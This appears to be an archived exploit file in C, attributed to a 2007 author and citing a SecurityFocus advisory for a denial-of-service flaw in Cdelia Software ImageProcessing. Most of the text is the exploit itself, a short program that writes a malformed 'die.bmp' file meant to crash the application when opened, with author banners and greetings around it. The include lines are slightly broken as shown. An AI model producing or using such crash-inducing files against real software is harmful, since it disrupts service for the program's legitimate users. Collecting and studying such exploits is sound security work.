65 lines
No EOL
1.8 KiB
C
65 lines
No EOL
1.8 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/23629/info
|
|
|
|
Cdelia Software ImageProcessing is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.
|
|
|
|
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
|
|
*/
|
|
|
|
/*
|
|
**********************************
|
|
## Exploit Coded By Dr.Ninux ##
|
|
## www.LeZr.com ##
|
|
## LeZr.com Security Team ##
|
|
## Dr.Ninux@bsdmail.org ##
|
|
**********************************
|
|
## 24 April 2007 , Tuesday
|
|
## This exploit will create an image (bmp)
|
|
## try to open it with "ImageProcessing" from Cdelia Software co.
|
|
## then the program will be die...!
|
|
**********************************
|
|
##
|
|
## grEEts to:
|
|
## Dr.Virus9,Qptan(Linux_Drox),Q8trojan,BataWeel,SAUDI,RoDhEDoR,
|
|
## Arab4services.com,The_DoN,aseer-alnjoom,Maxy,hacaar...AND milw0rm.com
|
|
##
|
|
*/
|
|
|
|
#include <stdio.h
|
|
#include <stdlib.h
|
|
|
|
#define INV_PIC "die.bmp"
|
|
|
|
int main()
|
|
{
|
|
|
|
int i=0;
|
|
char inv_[]="LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL";
|
|
FILE* inv_pic;
|
|
|
|
printf("\t\t**********************************\n");
|
|
printf("\t\t ## Exploit Coded By Dr.Ninux ##\n");
|
|
printf("\t\t ## www.LeZr.com ##\n");
|
|
printf("\t\t ## LeZr.com Security Team ##\n");
|
|
printf("\t\t ## Dr.Ninux@bsdmail.org ##\n");
|
|
printf("\t\t**********************************\n");
|
|
printf("\n");
|
|
|
|
if((inv_pic=fopen(INV_PIC,"wb"))==NULL)
|
|
{
|
|
printf("error:foepn().\n");
|
|
exit(0);
|
|
}
|
|
|
|
printf("[+]Creating |invalid picture| ... plz wait.\n");
|
|
|
|
for(i=0;i<sizeof(inv_);i++)
|
|
{
|
|
fputc(inv_[i],inv_pic);
|
|
}
|
|
|
|
fclose(inv_pic);
|
|
printf("[+]BMP File %s Successfuly Created...\n",INV_PIC);
|
|
|
|
return 0;
|
|
} |